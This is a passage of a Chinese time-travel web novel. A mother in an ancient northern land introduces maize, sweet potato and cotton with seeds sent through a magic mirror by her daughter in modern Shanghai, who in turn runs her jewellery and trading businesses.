他也知道进到沔州后的凶险,但投诚这事,必须要拿出足够的诚意。 现在和谈的消息还没有传开,等到和谈的消息传开了,一定会有更多的人过来。 北地这里和他们一样处境的人不少。家园被践踏,亲人被杀,但凡有点骨气的都咽不下这口气,明里暗里杀过北凉人的人不少。大家在北地生北地长,怎么可能轻易放弃家园? 袁博文离开后,谢云溪也没有闲着,她收到了袁淼传递过来的棉衣棉布,整理过后,让袁归拉给了姚青山。 正月十五一过,姚青山的商队就出发了。 天气越来越暖和了,朝廷与北凉和谈的事情几乎在一夜间就传遍了整个郴州,但是知道和谈内容的人并不多,各种各样的传闻都有,郴州城有人离开,也有许多人进来。 谢云溪的心思都放在了即将要到来的春耕上,她买了不少地,仅郴州城附近就有数百顷。现在局势不好,许多人都在卖地卖庄子,且价格低廉,她让袁归收了不少。 这日天气好,她就出了城。 袁归在轿子旁边亦步亦趋跟着:“夫人,过了前面的河,就是咱们袁府的地了。那边共有两百多顷,以前种过小麦,去年局势不好,那边的地都荒了……” 谢云溪掀开帘子看了看,两百多顷地,差不多有一万亩地,再加一个山头,视野的冲击不小。但实际上这些土地她买下来不贵,不到三万两银子。 过了河,谢云溪让轿子停了下来。 念荟连忙过来搀扶。谢云溪走了几步,回头问道:“于管事,这些地全部翻一遍,得要多长时间?” 于管事以前是在晋州袁府种大棚菜的,府里的人都叫他老于头,谢云溪知道他种地有经验,就把人从晋州叫了过来。 “这得看有多少人和多少头牛了?”于管事笑呵呵说,“两人一起,一天大概能翻七八分地,一头牛一天大概能翻一亩地。” 谢云溪不吭声了。她在这里有一万亩地,再远些的十里坡那边还有将近两万亩地,这仅仅只是郴州这边最大的两块地。贺州那边还有一千多顷地呢。 光靠人力和牛来翻地,还真不好算。 谢云溪默默看了一会。 “那边的庄子还有人在住吗?” “有!前面的主家是连同庄子和地都卖给了我们。不过,庄子上的人不多了,只有五户人家了,他们都是死契。” 死契就是这样,买和卖全是主家一句话。 谢云溪进了庄子,庄头连忙带着庄户们来磕头。 “都起来吧!”谢云溪说。 院子里跪了一地的人都起来了。谢云溪让人给年纪大的几个人搬了条凳过来。 庄稼上的活儿她并不熟悉,以前也没有种过地,跟庄子的人拉了会家常后,她心里方才有了个大概的印象。 回去后,谢云溪就把这些告诉了袁淼。 袁淼早就在留意种地的事情了,现代网络发达,信息很容易获取。 “什么?小麦亩产只有四五十斤?”袁淼惊讶问道。 谢云溪点头:“这是庄头告诉我的,那边庄子附近的地还都是好田,往年这个时候地里种的是小麦,亩产能有四五十斤。” “于管事他们在晋州的地算是一般,亩产比这个更低,哪怕是逢了风调雨顺的年头,亩产也只有三十斤!” 袁淼瞠目结舌:“我前几天到周边的郊区转了转,魔都附近农村小麦种植的时间跟你们那里一样,也是十月上旬和中旬播种,次年五月六月成熟,但是亩产能有六七百斤!” 谢云溪愣住了。 十倍多差距的亩产! 难怪这里的人们经常饿肚子了! “你现在能查到魔都附近的小麦是怎么种植的吗?” 袁淼搜索了一番,把手机传给了谢云溪。 谢云溪看过后摇头:“这没法比!这里耕地的农具只有一种,要么人拉,要么牛拉。连耙都没有,而且肥料通常只有人畜粪便和草木灰等。” 袁淼将前几天看过的农具图片给谢云溪看:“这几种农具,在这边的农村个别还在使用。应该比你们那边的农具效率更高。这些都是不用借助现代机械就能制作的农具。” 谢云溪看过后点头:“你把制作图片找出来传给我吧。我让这边的工匠看看。” 袁淼答应了,将图片搜索出来打印后传给谢云溪。 第129章 第129章 农事 谢云溪看过后收了起来:“你再查一查华北地区三四五月间种植的农作物除了小麦和棉花以外, 还有哪些?” 袁淼将搜索查到的结果告诉了谢云溪:“还有玉米、花生、甘薯等。” 她把手机传了过去。 谢云溪仔细看过后,又把郴州这边他们名下的土地情况告诉了袁淼,母女俩人商量了许久。 北地这里最主要的口粮粟米要六月中下旬才开始播种, 一般是在小麦收割之后。 但是北凉南下的时候正是麦子播种的时节, 种地的农户们要么跑了, 要么被杀, 地都荒下来,麦子已经错过播种季节。这个时节地里能替代种植的只有玉米甘薯等。这两种农作物在北地还没有出现, 种子只能依靠袁淼传递过去。 不过,袁博文和谢云溪名下的土地虽然不少,但是整个北地有数百万人口,光晋州郴州和贺州就有将近百万人口, 他们名下这些土地可养不活那么多人。 谢云溪说:“我去找张时文,让府衙出面, 倡议农户们一起种植。” 袁淼点头:“种子的事情交给我。” 粮食农作物有了替代,经济农作物就种棉花和花生。原本袁博文和谢云溪就打算大量种植棉花。 北地的气候与华北一带差不多,他们也打算在这里的四月中下旬开始种植棉花。 母女俩又把棉花的种植过程捋了一遍。 谢云溪记了下来。第二天,她又去了十里坡。把郴州附近的土地情况都摸清楚后, 谢云溪就来到了府衙。张时文连忙请她上座。 “张大人,我今天过来,是想问一问春耕的情况。眼下已经开春,不知道各位大人对接下来的农事是如何安排的?” 张时文在晋州的时候原本就是通判,管着粮运、家田、水运等事务, 算是晋州仅次郡守的存在。 北凉还没有打到晋州的时候, 晋州的郡守就跑了,张时文就被关正和袁博文提了出来,管起了晋州府衙事务。现在又管着郴州府衙事务。 年还没有过完的时候, 张时文就已经在头疼来年开春的事情,现在更是愁得头都要秃了。 北地这里适宜的农作物不多,往年地里这个时节都种了小麦。现在光秃秃一片。对于能种什么,他和府衙几位大人商量了许久,也没有结果。 但是绝对不能就这么空着,现在的米粮价格已经很高了,等到了种上粟米之后再收获,那是大半年之后的事情,这期间人们吃什么? 没吃没喝,局势就得乱。 张时文皱着眉头:“我和府衙几位大人商量过了,贺州那边沿泗水河可以种些稻米,郴州和晋州这边可以考虑种些短时期就能收获菜,等到了六月中下旬了,再种粟米。” 谢云溪明知故问:“光种菜怕是不行吧?” 张时文不吭声了。在座其他几个大人也都锁着眉头。 都知道光种菜,没有主粮,不行。 胡仲之叹了口气说:“种了菜,总比让地空着好啊。” 晋州的主薄孙大人也调到了郴州来,他皱着眉头:“晋州郴州下头的村落都没多少人了。” 种地的农户都跑了。 谢云溪说:“这个不要紧,开了春,天气暖和起来,农户们会陆续回乡的。” 但前提是,这些人还活着。 “我和袁大人以前游历海外的时候,见过当地的农事,他们那里种植粟米和黍米的并不多,小麦和稻米倒是种了不少,不过,这两种农作物的收成,他们那里比我们这里要高多了。” 张时文眼睛亮了。 “袁夫人,你们游历的海外在哪里?” 他早就对袁博文和谢云溪话里的海外感兴趣,奈何每次询问,都没能得到答案。 谢云溪笑着说:“我记性不好,上了船只知道是往西,具体到了哪里?行了多远?并不清楚。” 张时文的眼神黯淡下来。 胡仲之等人没有怀疑。女人嘛,见识短,能知道是往西就已经不错了。大海茫茫,多的是连方向都分不清楚的人。 谢云溪把众人的表情看在眼里,又说:“除了这几种农作物,他们那里还有一些我们这里并没有的农作物,其中有玉米甘薯和花生等就是这个时节播种的……” 谢云溪的话音还没落地,张时文就站了起来:“袁夫人,这几种农作物,你们在大顺见过吗?知道是如何种植吗?有没有带种子回来?” 谢云溪笑着摇头:“我们没有在这里见过玉米甘薯等这几种农作物。不过我们从海外带了些种子回来。不仅这几种农作物的种子,他们那里种植的小麦和稻米等种子,我们也带了一些回来。” 张时文喜不自胜:“好!好!袁夫人,您刚才说的玉米甘薯和……” 胡仲之连忙接上:“花生!” “对对对,花生!这几种农作物长的什么样子?如何食用?怎么种植?” 谢云溪一一说了。尤其是玉米和甘薯,她描述得很详细。 这两种农作物都可以当主食,产量不低,种好了,替代粟米完全没问题。 她喜欢吃玉米,甘薯虽然不那么喜欢,但是甘薯的产量高啊。这里的穷苦人家都拿米糠当主食了,甘薯比米糠总是要好些吧! 她来到这个世界已经有好几年,但是仍然不习惯把粟米当主食。 种了玉米和甘薯,收获之后就到了小麦和的播种季节,到时候,她再让女儿把现代优良的小麦种子传过来。 粮食产量一上来,饥荒的问题就可以解决了。 张时文等人听得很仔细,恨不得立刻就看到玉米和甘薯这两种农作物。 “不过,玉米从播种到收获约要八九十天左右,甘薯四个月左右。若是种了这两种农作物,那地里就不能种粟米了。” 张时文等人一下子愣住了。面面相觑。 大家都没有见过玉米和甘薯,但粟米是吃了许久的,突然不种了,这行吗? 谢云溪又笑着说:“这两种农作物的产量都不低,玉米的亩产可以达到五百斤左右,甘薯的产量更高,亩产能达到千斤左右。” “四月中旬下旬就可以播种,玉米九月左右就能收获,刚好能接着种小麦。我们从海外带回来的小麦种子产量可以达到亩产三四百斤。” 张时文等人惊呆了,都被谢云溪说的农作物亩产惊到了。 亩产能到五百斤左右的玉米!还有亩产能到千斤左右的甘薯!连小麦的产量都到了三四百斤! 这要是在北地推广开来,那还得了? 他们没有见过玉米和甘薯,但是小麦都见过了。张时文急切问道:“小麦亩产三四百斤?真有这么高的产量吗?” 谢云溪笑着点头,她其实把现代小麦的产量说少了一半。玉米和甘薯的产量也说少了。 虽然袁淼能买到最优良的种子,但是他们毕竟没有在这里种过。地域区别,还有现代的那些肥料等,谢云溪也不确定到时候能不能弄出来或者找到替代的,所以把产量都说少了。 但即便是减了半的产量,也是这里小麦产量的将近十倍。 张时文的眼睛直了,想了一会,斩钉截铁说:“好!四月中下旬就让郴州附近农户种植玉米和甘薯!” 胡仲之对农事也很清楚,跟着点头:“若是不成,到了六月份,大可以铲除了再种粟米!” 府衙其他几位大人都点头了。 谢云溪又拿出自己手绘的农具制作图纸:“这是袁大人看过海外那边的农事后绘下来的农具。这是他们那里的犁,这一种叫耙,可以把犁过的地里的土疙瘩耙的更碎……” 张时文边看边点头,对海外更感兴趣了,听完后心情大不一样了,冲谢云溪作揖谢过:“多谢袁夫人,实不相瞒,您没来之前,我们正在为这事头疼!” “张大人无需客气,我们把这些带回来就是想让百姓们能够吃饱,不再饿肚子。诸位大人算好需要的种子后,跟谢记的袁掌柜说一声就行,他会把种子给你们。” “我们名下的土地也准备种些玉米和甘薯,你们遇到了问题,可以过来看看。” 张时文又默默冲谢云溪作了一个揖,其他几位大人也纷纷谢过谢云溪。 等谢云溪走后,胡仲之感慨说:“袁大人夫妇一心为民!实在难得!” 张时文和孙大人相互看了一眼。 他们都是晋州来的。朝廷和谈的事情在府衙已经不是秘密了。前几天张时文代表了府衙一些人赶着去跟袁博文见了一面,一些事情虽然没有宣之于众,但是他们都知道了。 谢云溪回去后,又把名下的这些地哪些种玉米,哪些种甘薯等定了下来,又交待袁归去招人手。 这里的私人土地是永田制,拥有后后代子孙可以继承。地主们将自己的土地或租给他人耕种,或让自家奴仆耕种。 谢云溪不打算租赁出去,那就只能买人和临时招工。临时招工变化大,她让袁归多买些人手,活契死契都可以。 好在郴州城里城外的流民不少,短短几天,他们就签了不少人。签下人,就要安排住所。他们在郴州名下的庄子只要五个,住不下自然得建造新的房子。 沔州的战事传过来时,谢云溪正在算账。买人买地制作农具建造房子等,这些花了不少钱,好在他们年前光卖棉布棉衣就赚了不少。 “夫人,外面都在说沔州打起来了!” 虽然谢云溪早就知道了这件事情,但还是有些紧张,连忙询问状况。 念荟的脸上也有些激动:“大人他们围住了沔州,沔州北凉守军想要偷袭,结果大败,现在只敢龟缩在城里不出来了……” 谢云溪松了一口气。虽然没有拿下沔州,但是能把北凉人打得龟缩在城里不敢出来,形势也是好的。 沔州可不小,附近矿产资源丰富,北地近半冶铁都出自那里,民风也很彪悍。 她知道袁博文在控制使用现代化军/械。他们现在的处境跟在晋州的时候不一样了。现在他们有了时间和空间,没必要动不动就上大杀器。 这样虽然可以较轻易取胜,但是会让手下的军队过于依赖现代化军/械,也会让对手逐渐了解和熟悉现代化军械。 如果总是这样下去,他们迟早会吃败仗。除非他们能真正制造出现代化军/械,并且一直处于遥遥领先的地位。否则这一天迟早会来临。 袁博文觉得既然有了时间和空间,那就应该让手下的军队锻炼起来,只有真正强大了,才能应对各种情况的战事。 至于现代化军/械,在关键的时候拿出来,不仅会有意想不到效果,还会因其异常强大和神秘震慑某些势力。 谢云溪在算账的时候,袁淼也在算账。 年底了,她打算给员工们发些福利,年货只是象征性意义,年终奖才是大头。 这些员工跟着她的时间有长有短,年终奖自然也会不一样,她把意思跟主管财务的胡云蝶说一声,胡云蝶第二天送来了今年的财务报表。 袁淼对了对自己手上的账。 支出最大的是博云贸易,除了直接跟王振声等人对接的军/械机械船只等购买开销以外,她还通过博云贸易购买了大量的粮食药品棉布棉衣和一些刀/枪/剑等常规兵/器。 不过这些开支与卖棉布棉衣的收益相比,不仅没有亏,还略赚了一些。 博云珠宝则是收益远远多于支出,支出最大的就是门店的租金和人事开支,其他的非常少。 网店和实体店的珠宝要么是父母那边的当铺收到的,要么就是他们在密室发现的和后来在郴州搜刮到的。 后面两样没有成本,当铺收到的珠宝成本也非常低。 博云矿业产出的黄金还没有交割给叶部长等人,目前已经有一百多公斤。 不过,博云矿业在没有被她收购之前原本就有收益,只是收益抵不上支出而已。 除开博云矿业,博云珠宝和博云贸易就给她带来了将近十亿的收入,再加上各种拍卖所得和陆续卖黄金和白银的收入,这一年她赚了数十亿。 博云矿业她接手的时间不长,给员工的福利不宜变化太大,这个得和林成章等董事会成员商量之后再定。 博云贸易和博云珠宝她可以不用和任何人商量就做主。 袁淼刚把利润分配定下来,张青云的电话就打过来了。 “袁总,曾嘉宝出事了,她刚推进了抢救室,正在抢救!” 袁淼吓了一跳:“什么?她不是正在医院里保胎吗?” 第130章 第130章 消息 “今天下午曾辉瑞去了医院, 曾嘉宝知道了曾辉华去世的消息,她情绪很激动,提前发作了。” 袁淼知道曾辉瑞是曾辉华的亲弟弟, 也在辉华矿业公司担任要职。曾辉华过世后, 徐清阳迅速掌控了辉华矿业公司的大权, 将曾辉瑞等人边缘化。 但是她不知道徐清阳居然一直瞒着曾嘉宝, 没有告诉她曾辉华已经过世的消息。 “徐清阳呢?他也在医院里吗?” “在!刚才赶了过来。” “好,你们继续盯好他, 有什么情况及时告诉我!” 挂了电话,袁淼也没有心思算账了。 她记得曾嘉宝现在并不是足月。但以现代的医疗条件,和辉华矿业的财力,她认为曾嘉宝应该能顺利生产。 她想不明白徐清阳为什么要隐瞒曾辉华过世的消息?那可是曾嘉宝的父亲。 就是为了让曾嘉宝好好保胎吗? 他这么重视曾嘉宝和她肚子里的孩子? 是她多想了吗? 徐清阳已经放下与她有关的一切? 杜彦明和周晟被打跟他没有关系? 袁淼有些茫然了。她认识的徐清阳并不是一个洒脱的人。相反, 心眼小,睚眦必报。 但人是会变的。 到了晚上, 张青云又打了电话过来,曾嘉宝在医院里剖腹生产下一个男孩。母子平安。 放下了电话,袁淼让自己不要多想了。她与徐清阳能各自安好就是原本该有的结局。 到了与父母见面的时间。袁淼启动了镜子,依旧只看到了谢云溪:“爸爸还没回来吗?” 谢云溪笑着说:“贺州那边事情多, 不是一天两天就能忙完。” 袁淼虽然担心,但也知道自己能做的有限,依旧老话常谈:“你们有事,可不能瞒着我。” “放心吧!哎,你那边忙得怎么样了?开始搬家了吗?我们后院那些东西, 什么时候能给你?” 袁博文和谢云溪从府衙搬出来之后, 把放在府衙后面的那些珍稀珠宝也挪了过来。 年前,他们把各个铺子的账对了对,把晋州那边当铺近来收到的一些死当的珠宝首饰等清点了一番, 拿了些过来,就等着袁淼搬家之后再传给她。 “还没有呢,过几天吧!妈,你最近拍过B超没有?” 袁淼知道父母就等着她搬家,好把一些珠宝首饰等传给她。但她实在太忙了,搬家的事情也一拖再拖。 其实,她手中的珠宝首饰等已经有不少了。网店和实体店的商品都来自这些。但是珠宝首饰属奢侈品,卖掉的速度太慢了。 她已经决定来年在再开一家珠宝店,分店多了,销售额应该能够提上来。 谢云溪笑着说:“超声影像多多少少有些辐射,不能拍得太勤。我心里有数,你不用担心了。” 袁淼想到了曾嘉宝,她与谢云溪的预产期只差了一个多月。 “你别大意了,千万不要以为自己是个医生,又有生产经验,就不当一回事了!” 谢云溪连忙点头,一连声说好。把话题转移到了农事上面来。 袁淼已经让人跑过市场了,知道了每亩地需要多少玉米甘薯和棉花种子,以及如何育苗种植等,她把这些信息已经整理了出来。传给了谢云溪。 谢云溪看过后说:“玉米和甘薯中下旬开始种植。棉花的育苗现在可以开始了。” 她告诉袁淼,这次他们预备在郴州和贺州种一万多亩棉花地。 袁淼算了算这些土地需要的棉种和肥料。 一万多亩土地种棉花,她以前想都不敢想,但现在父母名下的土地已经有将近三千倾了。还有好几个庄子。 拿出一半的土地种棉花,棉花收获之后再扩大织坊,改进纺织工具,尝试工业化。这是他们早就商量好的事情。 谢云溪和袁淼商量过后,定下棉花的育苗和种植,以及需要多少种子和肥料。 袁淼问:“你不是去过府衙了吗?府衙那边有多少农户打算种植玉米和甘薯?” 谢云溪笑着说:“府衙那边的数据还没有出来,不过告示已经贴出来。张大人他们鼓励周边流民返乡,并且推广种植玉米和甘薯……” 告示贴出来之后,念荟也去看了,城门口许多人都在议论这件事情。大家都没有见过玉米和甘薯这两种农作物,也不知道怎么食用。 但是府衙承诺了,只要愿意种植,种子由上面发放,届时也会有人下乡指导如何种植。 这样一来,许多人都打算跟了。 “那就分两次购买种子吧,先买你们需要的,等府衙那边需要种子时出来,我再去买。” 谢云溪同意了。 收到了棉花种子和肥料后,她又出城了,来到了郴州城外的庄子里,教于管事等人如何育苗。 正忙着,庄静带着关景钰过来了。关家新买的庄子就在隔壁。 谢云溪连忙让人拿了水果招待。 “我听说种植玉米和甘薯的建议是你提出来?这两种农作物的产量真的有这么高吗?” 谢云溪笑着点头:“我们在海外见过,伺候好了这些地的活,产量更高的情况都有!” 庄静拉着谢云溪的手,感慨说:“也是你和袁大人有心了,千里迢迢把这么好的东西带了过来。” 即便是她不懂农事,但是听到庄头说起玉米和甘薯的产量时,仍然大吃了一惊。 这些亩产能超过粟米十倍多的粮食如果真的能够在北地种出来,那是功德无量的事情。 北地苦寒,往年种的最多就是小麦和粟米。小麦的用途虽多,但是产量不高,亩产只有三四十斤,许多人家只有逢年过节才吃得起。 粟米是主粮,但亩产也只有两三百斤而已。往年旺季每升粟米约要十几文,但是现在已经涨到了四五十文一升了。哪怕是有些家底的人家也不敢随意浪费。 往年就有人饿死,吃不饱的情况比比皆是。北凉南下后,惨事更多了,从去年十月间到眼下,饿毙的人不知道有多少。 谢云溪笑着,这些天这样的话她不知道听了多少遍,早就没有了先前的激动。 庄静看了一圈,目光落在了外面忙碌的于管事等人身上:“这些是不是就在种玉米和甘薯?” 谢云溪摇头:“那是在做棉花育苗。” 庄静愣住了。棉布棉衣在北地掀起的风还没有停歇下来,都知道这两样好东西与棉花有关,棉布就是棉花织出来,棉衣里面填塞的也是棉花。但是棉花到底长什么样,却鲜少有人说清楚。 她也知道袁府在枫叶巷和晋州都有棉布作坊,但这种事情不好打听。不过,她心里属实好奇。 “你们也要种棉花吗?” 谢云溪笑着点头。 庄静有些不好意思:“我长这么大,还没有见过棉花呢!” 谢云溪招手让下人将棉花和棉籽的袋子提过来。 “这就是棉花,原先里面是有棉籽的,就是这个。拿来育苗就是棉籽。” 关景钰捧了一把棉花,惊奇不已:“原来这就是棉花!真白!真软!怎么种出来的?” 谢云溪手边就有棉花的种植方法,她把记录给庄静和关景钰看。 庄静愣了愣,心绪起伏不定。 人人都知道棉布棉衣是好东西,能赚大钱。种出了棉花,棉布棉衣还远吗?但眼前的人就这么轻易把这些告诉了她。 庄静推过去,笑着说:“这些我看不懂,你跟我说吧。” 谢云溪笑着说:“你们若是也想种棉花,我这里还有种子,你让你们庄子上的庄头过来跟着于管事学,他知道怎么种。” “那我可不客气了!” 庄静挽上谢云溪的胳膊,又看了看她的肚子,“你如今已经有七个月了吧?” 谢云溪点头。 “产婆和奶娘都找好了吗?这个可得提前准备好!” 谢云溪笑了。 产婆?奶娘?她还真没有想过这些。 庄静作势拍了一下,笑着说:“看我这记性,都忘记了,论医术,郴州城里还有谁能比得过你!” 谢云溪连忙说:“这我可不敢逞强,郴州城里比我厉害的郎中多得去了。” 庄静摇头,看了一眼身后的女儿关景钰:“我们景钰最佩服就是你了!” 关景钰也在一旁一个劲点头。 庄静又说:“产婆你或许不用,但奶娘还是得准备几个!” 谢云溪低着头笑着。 “前天岭南那边来了信,说是今上病倒了,朝中御医们束手无策。我接到信的时候,就在想,要是你在京都,说不定就会被请到宫里去了。” 谢云溪吃了一惊:“今上病倒了吗?什么时候的事?” “算起来有几天,如今朝中是太子在主持大局。朝廷与北凉和谈的事情闹得沸沸扬扬,许多书院的学子聚集在宫门口上书抗议割让北地十六州,群情激愤,今上一急之下就病倒了。” “割让北地十六州?也不知道这是谁想出来的?咱们北地尚有数州没有沦陷,怎么能轻易割让给北凉人呢?难怪民怨会这么大了!” 谢云溪近来全部的心思都放在了春耕上,不知道外面的局势居然变成了这样。 京都的皇帝病倒了!太子监国!书院的学子们抗议和谈! 这些可不像是威远镖局的贺师傅他们能搞出来的动静! 她知道袁博文让贺威等人跟随商队南下,就是要把和谈的事情搅得天下皆知,为他们的要做的举旗造反造势。 但是贺威等人只是行走江湖的镖师,或许认识不少人,在民间掀起一些风波倒是能够做到,但是朝廷上他们绝对触及不到。 130-140 第131章 第131章 虐待 谢云溪没有接庄静的话。 一来, 她对朝廷的事情知道的不多。袁博文中举之后,她才开始了解这些。北地的政治环境又与京都又不一样。 二来,他们都打算造反了。言多必失。这件事情还没有公开, 她也不知道庄静届时会怎么抉择。 庄静的背后还有一个岭南关家呢, 那可是百年世家大族, 族中子弟众多, 在错综复杂的朝堂上都有一席之地。 不过,庄静像是没有注意到这些。依旧有些愤慨。 “袁大人他们还在收复沔州, 朝廷却如此决断,实在草率了!” 她的话提到了袁博文,谢云溪不好再回避了。她叹了一口气,轻描淡写:“是啊, 北地还有那么多人呢!” 庄静也跟着叹了口气。 “不过,眼下是太子殿下监国, 他素有贤名,想来一定会好好考虑和谈的事情。” 谢云溪附和说了几句。 其实,她对当朝的太子也不熟悉,只知道是已过世皇后的嫡长子, 很早就立了储位。 至于大顺与北凉和谈,现在已经在进行中了。她觉得太子能扭转的可能性不大。 北凉毕竟占据了不少的地方,现在在南边的推进速度虽然慢了下来,但他们绝对不会轻易放弃到手的好处。 庄静终于听出意思了。 她先前的话是试探,关轩派过来的管事关许到现在还没有走, 这几天岭南那边陆续有信送达。 朝廷与北凉和谈的事情已经宣扬开了, 连和谈的内容在南边都不是秘密了。 原本南边民众以为北地十六州尽数沦陷了,不知道是哪方势力爆出了晋州守军不仅扛住了数月围困,更是反扑拿下郴州贺州等事。一时间群情激愤, 不仅陆续有大臣上书不能割让北地十六州,更有京都一带学子聚集在宫门口抗议。今上一急之下病倒了,朝中事务全交给了太子处理。 关正的死因也有人递了上去。 朝局动荡,关家那边虽然透露的不多,但这里面肯定有他们的手笔。 关许刚来到这里的时候,还催促让他们早做决断 ,现在不说了。 由此可见,岭南关家也在观望中。 以后的事态会怎么发展,她现在完全没底了。 所以,才想着过来探一探袁府口风,看看他们有什么打算。结果谢云溪根本没接话茬。 庄静不好再试探下去,又将话题转到农事上来。 谢云溪陪着庄静等人说了一会话,回去后就写了一封信,让人送去了沔州。 袁博文的回信是伴随着沔州收复的消息一起到达的。 信是谷雨带回来的。 念荟和贺天凤在问谷雨话。谢云溪则在看信。 沔州的收复虽有些波折,但晋州军的伤亡并不大。原商州军中长枪营主将程士杰投靠了他们,在沔州城里与晋州军里应外合,起到了很大的作用。 至于朝廷上的事情,袁博文也知道了。他还知道已经有人把关正的事情捅到了太子那里。 这件事情当然是岭南关家的手笔。 先前关轩向他们透露朝廷要和谈的事情时,还说他也是两方和谈的重要内容 ,这里面挑拨的意味已经很明白了。 岭南关家就是想把水搅浑。 至于他们的意图是想给关正报仇,还是其他。这些并不重要了,他们已经决定了自己干,朝堂上的事情随便这些人折腾。 谢云溪看过信后,收了起来。 “老爷是不是还让你带了些东西回来?” 正和念荟等人说话的谷雨连忙让人抬两个箱子进来。 谢云溪愣了愣。 袁博文在信中提及他已经去过了他们以前在沔州的宅子,并且把宅子里的一些东西让谷雨送了回来。 但眼前的两个箱子不小,而他们在沔州的库房可没有那么多东西。 不过,谢云溪并没有马上打开看看:“西峡山下来的人什么时候到达?” “约明日就能到了。” “这些人怎么安置,老爷交待了吗?” “老爷给张大人写了一封信,让金队长回来后把这些人交给张大人。” 谢云溪放心了。 这可是第一次有人主动投诚,对方已经表示自己的诚意,那他们就不能让对方寒心。 张时文也知道了他们的打算,他是个聪明人,一定会好好安置这些人。 “沔州城的景象如何?”谢云溪又问道。 “跟贺州差不多。城里民居毗邻,但都破破烂烂,街上的人也不多……” 谷雨说着,看了谢云溪一眼:“老爷还去四喜胡同。咱们在那里的宅子住进了一户人家,他们看到老爷进来,都吓得不轻,第二天就都搬走了。” “这些东西就是他们还回来的。” 谢云溪忍住了没笑。 这就是权势的好处,就露了个面,再麻烦的事情也变得一点儿都不麻烦了。 难怪会有两个大箱子抬进来了。不用问,箱子里面的东西肯定有一些不是他们的。 她让念荟抓了一把金瓜子给谷雨:“这一趟你们辛苦了。这两天好好休息,有什么想吃的,只管跟厨房说!” 谷雨虽然跟着袁博文跑了不少地方,但他的年纪其实只有十三四岁。 这样的年纪在现代还在学校里读书,但在这里他却是贴身小厮,袁博文身边的杂事几乎都是他在料理。 谷雨欢喜应下了。他离开后,念荟忍不住说道:“夫人,咱们在沔州那边的宅子定然被人弄得乱七八糟了。” 谢云溪感慨说:“这是难免的。” 他们离开的时候匆忙上路,许多东西都来不及带上。沔州城在大水里泡了大半个月,水还没有完全退走,北凉人又打了过来。 这样的背景下,城内的情况能好那就奇怪了。 至于原来的宅子有人入住,这种情况并不少见。他们来到郴州的时候就遇到了不少类似的事情。 不过,她没有想到留在宅子里的东西居然有拿回来的一天。 “把箱子打开看看。” 念荟应了一声,开了一个箱子。 映入眼帘的的第一件东西居然是个玉器摆件。 谢云溪愣了愣,让念荟把摆件拿了过来。 整块玉石做成的摆件约有二三十厘米高,三四十厘米宽,雕刻了八匹栩栩如生的骏马。材质虽然不是罕见的玻璃种,但色泽亮眼,是少见的冰种。 正是她念了好几次的八马奔腾玉器摆件。 自从开了当铺后,谢云溪已经见过了不少极品玉器,但她仍然很喜欢这件摆件。 她还以为这件东西以后都见不到了,没想到房子都被人占住了,这件好东西还在。 玉在现代值钱,这东西给女儿,一定能卖到不少钱。 谢云溪看过玉器摆件后,放到了一边。 把两个箱子里面的东西全部清理了一遍,谢云溪果然发现了很多东西并不是他们的。 不管是对方出于什么心态送了这些,谢云溪都不打算还回去了。 她估计还回去,会把人吓死。 就当是房租吧。 挑了些精品出来后,谢云溪就让念荟把剩下的收进了库房。 到了晚上,谢云溪就把这些挑出来的东西传给了袁淼。 袁淼被八马奔腾的玉器惊到了,看得目不转睛:“这是冰种吧?真漂亮!” 谢云溪笑着说:“这件玉器是整块玉石做成,底座那里还有落款,金一鸣是我们这里有名的雕刻大师。” 袁淼果然在摆件的底座那里发现了落款。 “这也是当铺收到了吗?”袁淼问。 “不是……你找人看看,这件玉器能卖多少钱?” 袁淼并不想出售,她现在不缺极品玉器。浸润这行有些时间了,她一眼就看出这件八马奔腾的玉器最难得的是它的寓意。 马到成功,飞黄腾达。 这么好的寓意,再加上玉器本身的品质,这可是收藏家们最喜欢的东西了。 “我不想卖。”袁淼对谢云溪说,“妈,我想再开一家珠宝店,到时候就把这个摆件放在店里!既喜庆,寓意又好!刚好能当招牌。” “好!你想好了在哪里开店吗?” 袁淼说了几个地方,谢云溪根据自己以前的印象,分析了一番。母女俩有了初步的意向。 谷雨等人休息了几天后,又出发了,晋州军在拿下沔州后,已经朝着商州出发了。 棉花的育苗完成后,谢云溪就很少出门了,开始准备待产适宜。地里活儿都交给了于管事,于管事解决不了,她再出面。 谢云溪虽然是个医生,但是对妇产方面并不熟悉,她让袁淼传了些书籍和视频过来,自己学习的同时,也把这些孕产方面的医学知识告诉了念荟等人。 袁淼终于赶在年前搬了家,整理好的第二天,她就带着厨师做好的糕点来到了宋颜家门口。 宋颜一身常服过来开了门。 袁淼愣了愣。换下了西装的宋颜让人眼前一亮,少了清冷疏离,多了温雅随和,乍一看去,跟邻家哥哥的形象差不多了。 她把糕点递给宋颜:“这是我家厨师做的,尝尝味道怎么样!” 宋颜笑着接了:“都搬好了吗?要不要帮忙?” “不用!已经忙完了……” 搬进了新房子里后,袁淼请了一个八人管理团队。有管家佣人厨师保安等。也在别墅里面给沈若君留了一个房间。她现在是袁淼的生活助理。 “宋奶奶在楼上房间吗?” 宋奶奶虽然确诊了脑瘤,但由于她身体的情况不适合做手术,通常就在家里修养,袁淼过来看望了好几次。 “在!” 宋颜说完,就带着袁淼上了楼。 房间里的老人闭着眼睛,脸色比一个多月前憔悴了许多。 袁淼心里难受起来。她了解过宋奶奶患上的这种脑瘤。进展快,恶化程度高。通常发现后只有几个月的时间。 老人睡着了,袁淼在旁边看了一会儿,又蹑手蹑脚出去了。 “今天医生来过了吗?” 袁淼已经知道东华医院是宋记捐助建成的,顶楼规格最好的vip病房整个一层都被宋记包下了。 宋奶奶的家庭医生就是由东华医院的精英医疗团队组建而成。 “已经来过了。” 宋颜说了宋奶奶的情况。 袁淼心里更难过了。宋奶奶的病情进展很快,医生的建议是现阶段应该更注意生存的质量。 这话里的意思不难理解。 医生认为治疗的意义不大了。老人的年纪大了,身体条件不适合折腾。 她干巴巴说了几句安慰的话,宋颜点头,拿起了桌子上的水果削皮。 “我听说你准备开分店了?” “嗯!” “想好了在哪个城市吗?” 袁淼脑海闪过和谢云溪商定的情况:“北都和中都二选一吧?” 宋颜点头:“这两座城市都不错,一个是政治文化中心,一个是新兴城市代表……” 他一边说着,一边将削好了皮的水果递给了袁淼。 袁淼听得入迷,顺手接过了。苹果啃完了,她方才醒悟。自己居然使唤起宋记的宋颜来! 但宋颜垂着眉眼,脸色温雅随和,仿佛一切理所当然。又顺手递过来了纸巾盒。 袁淼连忙抽了一张。 楼上的老人醒来。袁淼又上了楼。 宋奶奶已经不认识她了。 袁淼坐着旁边跟她说话:“我是淼淼啊,奶奶不记得吗?” 